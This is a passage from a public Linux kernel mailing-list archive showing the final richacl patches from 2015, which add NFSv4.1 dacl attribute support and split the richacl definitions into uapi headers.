*p; encode_op_hdr(xdr, OP_SETATTR, decode_setacl_maxsz, hdr); encode_nfs4_stateid(xdr, &zero_stateid); + + /* Encode attribute bitmap. */ p = reserve_space(xdr, 2*4); *p++ = cpu_to_be32(1); *p = cpu_to_be32(FATTR4_WORD0_ACL); - p = reserve_space(xdr, 4); - *p = cpu_to_be32(arg->acl_len); + + attrlen_offset = xdr->buf->len; + xdr_reserve_space(xdr, 4); /* to be backfilled later */ + xdr_write_pages(xdr, arg->acl_pages, 0, arg->acl_len); + + attrlen = htonl(xdr->buf->len - attrlen_offset - 4); + write_bytes_to_xdr_buf(xdr->buf, attrlen_offset, &attrlen, 4); } static void @@ -2488,7 +2500,7 @@ static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr, encode_sequence(xdr, &args->seq_args, &hdr); encode_putfh(xdr, args->fh, &hdr); replen = hdr.replen + op_decode_hdr_maxsz + 1; - encode_getattr_two(xdr, FATTR4_WORD0_ACL, 0, &hdr); + encode_getattr_two(xdr, FATTR4_WORD0_ACL, FATTR4_WORD1_MODE, &hdr); xdr_inline_pages(&req->rq_rcv_buf, replen << 2, args->acl_pages, 0, args->acl_len); @@ -5260,24 +5272,135 @@ decode_restorefh(struct xdr_stream *xdr) return decode_op_hdr(xdr, OP_RESTOREFH); } +static int +nfs4_decode_ace_who(struct richace *ace, + const char **unmapped, unsigned int *unmapped_len, + const struct nfs_server *server, + struct xdr_stream *xdr) +{ + char *who; + u32 len; + int special_id; + __be32 *p; + int error; + + p = xdr_inline_decode(xdr, 4); + if (!p) + return -ENOMEM; /* acl truncated */ + len = be32_to_cpup(p++); + if (len >= XDR_MAX_NETOBJ) { + dprintk("%s: name too long (%u)!\n", + __func__, len); + return -EIO; + } + who = (char *)xdr_inline_decode(xdr, len); + if (!who) + return -ENOMEM; /* acl truncated */ + + special_id = nfs4acl_who_to_special_id(who, len); + if (special_id >= 0) { + ace->e_flags |= RICHACE_SPECIAL_WHO; + ace->e_flags &= ~RICHACE_IDENTIFIER_GROUP; + ace->e_id.special = special_id; + return 0; + } + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + error = nfs_map_group_to_gid(server, who, len, &ace->e_id.gid); + if (error) { + dprintk("%s: nfs_map_group_to_gid failed!\n", + __func__); + return error; + } + /* FIXME: nfsidmap doesn't distinguish between group nobody and + unmappable groups! */ + if (gid_eq(ace->e_id.gid, make_kgid(&init_user_ns, 99))) { + *unmapped = who; + *unmapped_len = len; + } + } else { + error = nfs_map_name_to_uid(server, who, len, &ace->e_id.uid); + if (error) { + dprintk("%s: nfs_map_name_to_uid failed!\n", + __func__); + return error; + } + /* FIXME: nfsidmap doesn't distinguish between user nobody and + unmappable users! */ + if (uid_eq(ace->e_id.uid, make_kuid(&init_user_ns, 99))) { + *unmapped = who; + *unmapped_len = len; + } + } + return 0; +} + +static struct richacl * +decode_acl_entries(struct xdr_stream *xdr, const struct nfs_server *server) +{ + struct richacl *acl; + struct richace *ace; + uint32_t count; + __be32 *p; + int status; + + p = xdr_inline_decode(xdr, 4); + if (unlikely(!p)) + return ERR_PTR(-ENOMEM); /* acl truncated */ + count = be32_to_cpup(p); + if (count > RICHACL_XATTR_MAX_COUNT) + return ERR_PTR(-EIO); + acl = richacl_alloc(count, GFP_NOFS); + if (!acl) + return ERR_PTR(-ENOMEM); + richacl_for_each_entry(ace, acl) { + const char *unmapped = NULL; + unsigned int unmapped_len; + + p = xdr_inline_decode(xdr, 4*3); + status = -ENOMEM; + if (unlikely(!p)) + goto out; /* acl truncated */ + ace->e_type = be32_to_cpup(p++); + ace->e_flags = be32_to_cpup(p++); + status = -EIO; + if (ace->e_flags & + (RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)) + goto out; + ace->e_mask = be32_to_cpup(p++); + status = nfs4_decode_ace_who(ace, &unmapped, + &unmapped_len, server, + xdr); + if (status) + goto out; + if (unmapped) { + status = -ENOMEM; + if (richacl_add_unmapped_identifier(&acl, &ace, + unmapped, unmapped_len, + GFP_NOFS)) + goto out; + } + } + status = 0; + +out: + if (status) { + richacl_put(acl); + acl = ERR_PTR(status); + } + return acl; +} + static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, struct nfs_getaclres *res) { unsigned int savep; uint32_t attrlen, bitmap[3] = {0}; + struct richacl *acl = NULL; int status; - unsigned int pg_offset; - res->acl_len = 0; if ((status = decode_op_hdr(xdr, OP_GETATTR)) != 0) goto out; - - xdr_enter_page(xdr, xdr->buf->page_len); - - /* Calculate the offset of the page data */ - pg_offset = xdr->buf->head[0].iov_len; - if ((status = decode_attr_bitmap(xdr, bitmap)) != 0) goto out; if ((status = decode_attr_length(xdr, &attrlen, &savep)) != 0) @@ -5286,24 +5409,28 @@ static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, if (unlikely(bitmap[0] & (FATTR4_WORD0_ACL - 1U))) return -EIO; if (likely(bitmap[0] & FATTR4_WORD0_ACL)) { - - /* The bitmap (xdr len + bitmaps) and the attr xdr len words - * are stored with the acl data to handle the problem of - * variable length bitmaps.*/ - res->acl_data_offset = xdr_stream_pos(xdr) - pg_offset; - res->acl_len = attrlen; - - /* Check for receive buffer overflow */ - if (res->acl_len > (xdr->nwords << 2) || - res->acl_len + res->acl_data_offset > xdr->buf->page_len) { - res->acl_flags |= NFS4_ACL_TRUNC; - dprintk("NFS: acl reply: attrlen %u > page_len %u\n", - attrlen, xdr->nwords << 2); - } + acl = decode_acl_entries(xdr, res->server); + status = PTR_ERR(acl); + if (IS_ERR(acl)) + goto out; + bitmap[0] &= ~FATTR4_WORD0_ACL; } else status = -EOPNOTSUPP; + status = -EIO; + if (unlikely(bitmap[0])) + goto out; + + status = decode_attr_mode(xdr, bitmap, &res->mode); + if (status < 0) + goto out; + status = 0; + out: + if (status == 0) + res->acl = acl; + else + richacl_put(acl); return status; } diff --git a/fs/nfs/super.c b/fs/nfs/super.c index 383a027..8ced33d 100644 --- a/fs/nfs/super.c +++ b/fs/nfs/super.c @@ -2319,7 +2319,7 @@ void nfs_fill_super(struct super_block *sb, struct nfs_mount_info *mount_info) /* The VFS shouldn't apply the umask to mode bits. We will do * so ourselves when necessary. */ - sb->s_flags |= MS_POSIXACL; + sb->s_flags |= MS_RICHACL; sb->s_time_gran = 1; } @@ -2346,7 +2346,7 @@ void nfs_clone_super(struct super_block *sb, struct nfs_mount_info *mount_info) /* The VFS shouldn't apply the umask to mode bits. We will do * so ourselves when necessary. */ - sb->s_flags |= MS_POSIXACL; + sb->s_flags |= MS_RICHACL; } nfs_initialise_sb(sb); diff --git a/include/linux/nfs_fs.h b/include/linux/nfs_fs.h index c0e9614..b84e194 100644 --- a/include/linux/nfs_fs.h +++ b/include/linux/nfs_fs.h @@ -176,7 +176,6 @@ struct nfs_inode { wait_queue_head_t waitqueue; #if IS_ENABLED(CONFIG_NFS_V4) - struct nfs4_cached_acl *nfs4_acl; /* NFSv4 state */ struct list_head open_states; struct nfs_delegation __rcu *delegation; diff --git a/include/linux/nfs_fs_sb.h b/include/linux/nfs_fs_sb.h index 570a7df..6c41668 100644 --- a/include/linux/nfs_fs_sb.h +++ b/include/linux/nfs_fs_sb.h @@ -243,5 +243,7 @@ struct nfs_server { #define NFS_CAP_ALLOCATE (1U << 20) #define NFS_CAP_DEALLOCATE (1U << 21) #define NFS_CAP_LAYOUTSTATS (1U << 22) +#define NFS_CAP_ALLOW_ACLS (1U << 23) +#define NFS_CAP_DENY_ACLS (1U << 24) #endif diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 090ade4..337c341 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -683,9 +683,10 @@ struct nfs_setattrargs { struct nfs_setaclargs { struct nfs4_sequence_args seq_args; + const struct nfs_server * server; struct nfs_fh * fh; - size_t acl_len; struct page ** acl_pages; + size_t acl_len; }; struct nfs_setaclres { @@ -703,9 +704,9 @@ struct nfs_getaclargs { #define NFS4_ACL_TRUNC 0x0001 /* ACL was truncated */ struct nfs_getaclres { struct nfs4_sequence_res seq_res; - size_t acl_len; - size_t acl_data_offset; - int acl_flags; + const struct nfs_server * server; + struct richacl * acl; + umode_t mode; struct page * acl_scratch; }; -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:04:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5A0B829E29 for ; Sun, 11 Oct 2015 18:04:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 06A11AC001 for ; Sun, 11 Oct 2015 16:04:25 -0700 (PDT) X-ASG-Debug-ID: 1444604664-04bdf020daa1c30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id BmYVpNy5I9RDiHuw (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:04:24 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 80A69A85; Sun, 11 Oct 2015 23:04:24 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx379016614; Sun, 11 Oct 2015 19:04:18 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 45/46] nfs: Add support for the v4.1 dacl attribute Date: Mon, 12 Oct 2015 00:58:56 +0200 X-ASG-Orig-Subj: [PATCH v10 45/46] nfs: Add support for the v4.1 dacl attribute Message-Id: <1444604337-17651-46-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604664 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher The dacl attribute includes Automatic Inheritance flags not supported by the acl attribute. it is only supported in NFS version 4.1 and higher. On systems where NFS version 4.0 is still the default, an additional mount option is needed: mount -t nfs4 -o vers=4.1 [...] Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4proc.c | 2 +- fs/nfs/nfs4xdr.c | 55 ++++++++++++++++++++++++++++++++++++++++++------- include/linux/nfs_xdr.h | 2 +- 3 files changed, 50 insertions(+), 9 deletions(-) diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c index a686251..6af222c 100644 --- a/fs/nfs/nfs4proc.c +++ b/fs/nfs/nfs4proc.c @@ -4556,7 +4556,7 @@ static struct richacl *__nfs4_get_acl_uncached(struct inode *inode) struct nfs_server *server = NFS_SERVER(inode); struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE)] = {}; struct nfs_getaclargs args = { - .fh = NFS_FH(inode), + .inode = inode, .acl_pages = pages, .acl_len = ARRAY_SIZE(pages) * PAGE_SIZE, }; diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index f2507d7..d855c6b 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -1661,9 +1661,16 @@ encode_setacl(struct xdr_stream *xdr, struct nfs_setaclargs *arg, struct compoun encode_nfs4_stateid(xdr, &zero_stateid); /* Encode attribute bitmap. */ - p = reserve_space(xdr, 2*4); - *p++ = cpu_to_be32(1); - *p = cpu_to_be32(FATTR4_WORD0_ACL); + if (arg->server->attr_bitmask[1] & FATTR4_WORD1_DACL) { + p = reserve_space(xdr, 3*4); + *p++ = cpu_to_be32(2); + *p++ = 0; + *p = cpu_to_be32(FATTR4_WORD1_DACL); + } else { + p = reserve_space(xdr, 2*4); + *p++ = cpu_to_be32(1); + *p = cpu_to_be32(FATTR4_WORD0_ACL); + } attrlen_offset = xdr->buf->len; xdr_reserve_space(xdr, 4); /* to be backfilled later */ @@ -2498,9 +2505,12 @@ static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr, encode_compound_hdr(xdr, req, &hdr); encode_sequence(xdr, &args->seq_args, &hdr); - encode_putfh(xdr, args->fh, &hdr); + encode_putfh(xdr, NFS_FH(args->inode), &hdr); replen = hdr.replen + op_decode_hdr_maxsz + 1; - encode_getattr_two(xdr, FATTR4_WORD0_ACL, FATTR4_WORD1_MODE, &hdr); + if (NFS_SERVER(args->inode)->attr_bitmask[1] & FATTR4_WORD1_DACL) + encode_getattr_two(xdr, 0, FATTR4_WORD1_MODE | FATTR4_WORD1_DACL, &hdr); + else + encode_getattr_two(xdr, FATTR4_WORD0_ACL, FATTR4_WORD1_MODE, &hdr); xdr_inline_pages(&req->rq_rcv_buf, replen << 2, args->acl_pages, 0, args->acl_len); @@ -5408,14 +5418,28 @@ static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, if (unlikely(bitmap[0] & (FATTR4_WORD0_ACL - 1U))) return -EIO; - if (likely(bitmap[0] & FATTR4_WORD0_ACL)) { + + if (bitmap[0] & FATTR4_WORD0_ACL) { + struct richace *ace; + + if (bitmap[1] & FATTR4_WORD1_DACL) + return -EIO; + acl = decode_acl_entries(xdr, res->server); status = PTR_ERR(acl); if (IS_ERR(acl)) goto out; + + status = -EIO; + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & RICHACE_INHERITED_ACE) + goto out; + } bitmap[0] &= ~FATTR4_WORD0_ACL; - } else + } else if (!(bitmap[1] & FATTR4_WORD1_DACL)) { status = -EOPNOTSUPP; + goto out; + } status = -EIO; if (unlikely(bitmap[0])) @@ -5424,6 +5448,23 @@ static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, status = decode_attr_mode(xdr, bitmap, &res->mode); if (status < 0) goto out; + if (bitmap[1] & FATTR4_WORD1_DACL) { + unsigned int flags; + __be32 *p; + + p = xdr_inline_decode(xdr, 4); + status = -EIO; + if (unlikely(!p)) + goto out; + flags = be32_to_cpup(p); + + acl = decode_acl_entries(xdr, res->server); + status = PTR_ERR(acl); + if (IS_ERR(acl)) + goto out; + acl->a_flags = flags; + bitmap[1] &= ~FATTR4_WORD1_DACL; + } status = 0; out: diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 337c341..9c2a078 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -695,7 +695,7 @@ struct nfs_setaclres { struct nfs_getaclargs { struct nfs4_sequence_args seq_args; - struct nfs_fh * fh; + struct inode * inode; size_t acl_len; struct page ** acl_pages; }; -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:04:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4151729DF6 for ; Sun, 11 Oct 2015 18:04:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 228B68F8040 for ; Sun, 11 Oct 2015 16:04:34 -0700 (PDT) X-ASG-Debug-ID: 1444604672-04cb6c5785a7ce0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id wyijx5DdTUpou4S7 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:04:32 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id C7CF4C0C9A6D; Sun, 11 Oct 2015 23:04:31 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx37A016614; Sun, 11 Oct 2015 19:04:25 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 46/46] richacl: uapi header split Date: Mon, 12 Oct 2015 00:58:57 +0200 X-ASG-Orig-Subj: [PATCH v10 46/46] richacl: uapi header split Message-Id: <1444604337-17651-47-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604672 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Signed-off-by: Andreas Gruenbacher --- include/linux/richacl.h | 119 +++++-------------------------------- include/linux/richacl_xattr.h | 17 +----- include/uapi/linux/Kbuild | 2 + include/uapi/linux/richacl.h | 111 ++++++++++++++++++++++++++++++++++ include/uapi/linux/richacl_xattr.h | 43 ++++++++++++++ 5 files changed, 173 insertions(+), 119 deletions(-) create mode 100644 include/uapi/linux/richacl.h create mode 100644 include/uapi/linux/richacl_xattr.h diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 95f22e5..de0b327 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -17,9 +17,7 @@ #ifndef __RICHACL_H #define __RICHACL_H -#define RICHACE_OWNER_SPECIAL_ID 0 -#define RICHACE_GROUP_SPECIAL_ID 1 -#define RICHACE_EVERYONE_SPECIAL_ID 2 +#include struct richace { unsigned short e_type; @@ -44,43 +42,12 @@ struct richacl { struct richace a_entries[0]; }; -#define richacl_for_each_entry(_ace, _acl) \ - for (_ace = (_acl)->a_entries; \ - _ace != (_acl)->a_entries + (_acl)->a_count; \ - _ace++) - -#define richacl_for_each_entry_reverse(_ace, _acl) \ - for (_ace = (_acl)->a_entries + (_acl)->a_count - 1; \ - _ace != (_acl)->a_entries - 1; \ - _ace--) - -/* a_flags values */ -#define RICHACL_AUTO_INHERIT 0x01 -#define RICHACL_PROTECTED 0x02 -#define RICHACL_DEFAULTED 0x04 -#define RICHACL_WRITE_THROUGH 0x40 -#define RICHACL_MASKED 0x80 - #define RICHACL_VALID_FLAGS ( \ - RICHACL_AUTO_INHERIT | \ - RICHACL_PROTECTED | \ - RICHACL_DEFAULTED | \ - RICHACL_WRITE_THROUGH | \ - RICHACL_MASKED) - -/* e_type values */ -#define RICHACE_ACCESS_ALLOWED_ACE_TYPE 0x0000 -#define RICHACE_ACCESS_DENIED_ACE_TYPE 0x0001 - -/* e_flags bitflags */ -#define RICHACE_FILE_INHERIT_ACE 0x0001 -#define RICHACE_DIRECTORY_INHERIT_ACE 0x0002 -#define RICHACE_NO_PROPAGATE_INHERIT_ACE 0x0004 -#define RICHACE_INHERIT_ONLY_ACE 0x0008 -#define RICHACE_IDENTIFIER_GROUP 0x0040 -#define RICHACE_INHERITED_ACE 0x0080 -#define RICHACE_UNMAPPED_WHO 0x2000 -#define RICHACE_SPECIAL_WHO 0x4000 + RICHACL_AUTO_INHERIT | \ + RICHACL_PROTECTED | \ + RICHACL_DEFAULTED | \ + RICHACL_WRITE_THROUGH | \ + RICHACL_MASKED) #define RICHACE_VALID_FLAGS ( \ RICHACE_FILE_INHERIT_ACE | \ @@ -99,27 +66,6 @@ struct richacl { RICHACE_INHERIT_ONLY_ACE | \ RICHACE_INHERITED_ACE ) -/* e_mask bitflags */ -#define RICHACE_READ_DATA 0x00000001 -#define RICHACE_LIST_DIRECTORY 0x00000001 -#define RICHACE_WRITE_DATA 0x00000002 -#define RICHACE_ADD_FILE 0x00000002 -#define RICHACE_APPEND_DATA 0x00000004 -#define RICHACE_ADD_SUBDIRECTORY 0x00000004 -#define RICHACE_READ_NAMED_ATTRS 0x00000008 -#define RICHACE_WRITE_NAMED_ATTRS 0x00000010 -#define RICHACE_EXECUTE 0x00000020 -#define RICHACE_DELETE_CHILD 0x00000040 -#define RICHACE_READ_ATTRIBUTES 0x00000080 -#define RICHACE_WRITE_ATTRIBUTES 0x00000100 -#define RICHACE_WRITE_RETENTION 0x00000200 -#define RICHACE_WRITE_RETENTION_HOLD 0x00000400 -#define RICHACE_DELETE 0x00010000 -#define RICHACE_READ_ACL 0x00020000 -#define RICHACE_WRITE_ACL 0x00040000 -#define RICHACE_WRITE_OWNER 0x00080000 -#define RICHACE_SYNCHRONIZE 0x00100000 - /* Valid RICHACE_* flags for directories and non-directories */ #define RICHACE_VALID_MASK ( \ RICHACE_READ_DATA | RICHACE_LIST_DIRECTORY | \ @@ -139,49 +85,16 @@ struct richacl { RICHACE_WRITE_OWNER | \ RICHACE_SYNCHRONIZE) -/* - * The POSIX permissions are supersets of the following NFSv4 permissions: - * - * - MAY_READ maps to READ_DATA or LIST_DIRECTORY, depending on the type - * of the file system object. - * - * - MAY_WRITE maps to WRITE_DATA or RICHACE_APPEND_DATA for files, and to - * ADD_FILE, RICHACE_ADD_SUBDIRECTORY, or RICHACE_DELETE_CHILD for directories. - * - * - MAY_EXECUTE maps to RICHACE_EXECUTE. - * - * (Some of these NFSv4 permissions have the same bit values.) - */ -#define RICHACE_POSIX_MODE_READ ( \ - RICHACE_READ_DATA | \ - RICHACE_LIST_DIRECTORY) -#define RICHACE_POSIX_MODE_WRITE ( \ - RICHACE_WRITE_DATA | \ - RICHACE_ADD_FILE | \ - RICHACE_APPEND_DATA | \ - RICHACE_ADD_SUBDIRECTORY | \ - RICHACE_DELETE_CHILD) -#define RICHACE_POSIX_MODE_EXEC RICHACE_EXECUTE -#define RICHACE_POSIX_MODE_ALL ( \ - RICHACE_POSIX_MODE_READ | \ - RICHACE_POSIX_MODE_WRITE | \ - RICHACE_POSIX_MODE_EXEC) -/* - * These permissions are always allowed - * no matter what the acl says. - */ -#define RICHACE_POSIX_ALWAYS_ALLOWED ( \ - RICHACE_SYNCHRONIZE | \ - RICHACE_READ_ATTRIBUTES | \ - RICHACE_READ_ACL) -/* - * The owner is implicitly granted - * these permissions under POSIX. - */ -#define RICHACE_POSIX_OWNER_ALLOWED ( \ - RICHACE_WRITE_ATTRIBUTES | \ - RICHACE_WRITE_OWNER | \ - RICHACE_WRITE_ACL) +#define richacl_for_each_entry(_ace, _acl) \ + for (_ace = (_acl)->a_entries; \ + _ace != (_acl)->a_entries + (_acl)->a_count; \ + _ace++) + +#define richacl_for_each_entry_reverse(_ace, _acl) \ + for (_ace = (_acl)->a_entries + (_acl)->a_count - 1; \ + _ace != (_acl)->a_entries - 1; \ + _ace--) + /** * richacl_get - grab another reference to a richacl handle */ diff --git a/include/linux/richacl_xattr.h b/include/linux/richacl_xattr.h index dac4e32..4ba54bd 100644 --- a/include/linux/richacl_xattr.h +++ b/include/linux/richacl_xattr.h @@ -17,24 +17,9 @@ #ifndef __RICHACL_XATTR_H #define __RICHACL_XATTR_H +#include #include -struct richace_xattr { - __le16 e_type; - __le16 e_flags; - __le32 e_mask; - __le32 e_id; -}; - -struct richacl_xattr { - unsigned char a_version; - unsigned char a_flags; - __le16 a_count; - __le32 a_owner_mask; - __le32 a_group_mask; - __le32 a_other_mask; -}; - #define RICHACL_XATTR_VERSION 0 #define RICHACL_XATTR_MAX_COUNT \ ((XATTR_SIZE_MAX - sizeof(struct richacl_xattr)) / \ diff --git a/include/uapi/linux/Kbuild b/include/uapi/linux/Kbuild index f7b2db4..18ad070 100644 --- a/include/uapi/linux/Kbuild +++ b/include/uapi/linux/Kbuild @@ -348,6 +348,8 @@ header-y += reboot.h header-y += reiserfs_fs.h header-y += reiserfs_xattr.h header-y += resource.h +header-y += richacl.h +header-y += richacl_xattr.h header-y += rfkill.h header-y += romfs_fs.h header-y += rose.h diff --git a/include/uapi/linux/richacl.h b/include/uapi/linux/richacl.h new file mode 100644 index 0000000..6887f88 --- /dev/null +++ b/include/uapi/linux/richacl.h @@ -0,0 +1,111 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __UAPI_RICHACL_H +#define __UAPI_RICHACL_H + +/* a_flags values */ +#define RICHACL_AUTO_INHERIT 0x01 +#define RICHACL_PROTECTED 0x02 +#define RICHACL_DEFAULTED 0x04 +#define RICHACL_WRITE_THROUGH 0x40 +#define RICHACL_MASKED 0x80 + +/* e_type values */ +#define RICHACE_ACCESS_ALLOWED_ACE_TYPE 0x0000 +#define RICHACE_ACCESS_DENIED_ACE_TYPE 0x0001 + +/* e_flags bitflags */ +#define RICHACE_FILE_INHERIT_ACE 0x0001 +#define RICHACE_DIRECTORY_INHERIT_ACE 0x0002 +#define RICHACE_NO_PROPAGATE_INHERIT_ACE 0x0004 +#define RICHACE_INHERIT_ONLY_ACE 0x0008 +#define RICHACE_IDENTIFIER_GROUP 0x0040 +#define RICHACE_INHERITED_ACE 0x0080 +#define RICHACE_UNMAPPED_WHO 0x2000 +#define RICHACE_SPECIAL_WHO 0x4000 + +/* e_mask bitflags */ +#define RICHACE_READ_DATA 0x00000001 +#define RICHACE_LIST_DIRECTORY 0x00000001 +#define RICHACE_WRITE_DATA 0x00000002 +#define RICHACE_ADD_FILE 0x00000002 +#define RICHACE_APPEND_DATA 0x00000004 +#define RICHACE_ADD_SUBDIRECTORY 0x00000004 +#define RICHACE_READ_NAMED_ATTRS 0x00000008 +#define RICHACE_WRITE_NAMED_ATTRS 0x00000010 +#define RICHACE_EXECUTE 0x00000020 +#define RICHACE_DELETE_CHILD 0x00000040 +#define RICHACE_READ_ATTRIBUTES 0x00000080 +#define RICHACE_WRITE_ATTRIBUTES 0x00000100 +#define RICHACE_WRITE_RETENTION 0x00000200 +#define RICHACE_WRITE_RETENTION_HOLD 0x00000400 +#define RICHACE_DELETE 0x00010000 +#define RICHACE_READ_ACL 0x00020000 +#define RICHACE_WRITE_ACL 0x00040000 +#define RICHACE_WRITE_OWNER 0x00080000 +#define RICHACE_SYNCHRONIZE 0x00100000 + +/* e_id values */ +#define RICHACE_OWNER_SPECIAL_ID 0 +#define RICHACE_GROUP_SPECIAL_ID 1 +#define RICHACE_EVERYONE_SPECIAL_ID 2 + +/* + * The POSIX permissions are supersets of the following richacl permissions: + * + * - MAY_READ maps to READ_DATA or LIST_DIRECTORY, depending on the type + * of the file system object. + * + * - MAY_WRITE maps to WRITE_DATA or RICHACE_APPEND_DATA for files, and to + * ADD_FILE, RICHACE_ADD_SUBDIRECTORY, or RICHACE_DELETE_CHILD for directories. + * + * - MAY_EXECUTE maps to RICHACE_EXECUTE. + * + * (Some of these richacl permissions have the same bit values.) + */ +#define RICHACE_POSIX_MODE_READ ( \ + RICHACE_READ_DATA | \ + RICHACE_LIST_DIRECTORY) +#define RICHACE_POSIX_MODE_WRITE ( \ + RICHACE_WRITE_DATA | \ + RICHACE_ADD_FILE | \ + RICHACE_APPEND_DATA | \ + RICHACE_ADD_SUBDIRECTORY | \ + RICHACE_DELETE_CHILD) +#define RICHACE_POSIX_MODE_EXEC RICHACE_EXECUTE +#define RICHACE_POSIX_MODE_ALL ( \ + RICHACE_POSIX_MODE_READ | \ + RICHACE_POSIX_MODE_WRITE | \ + 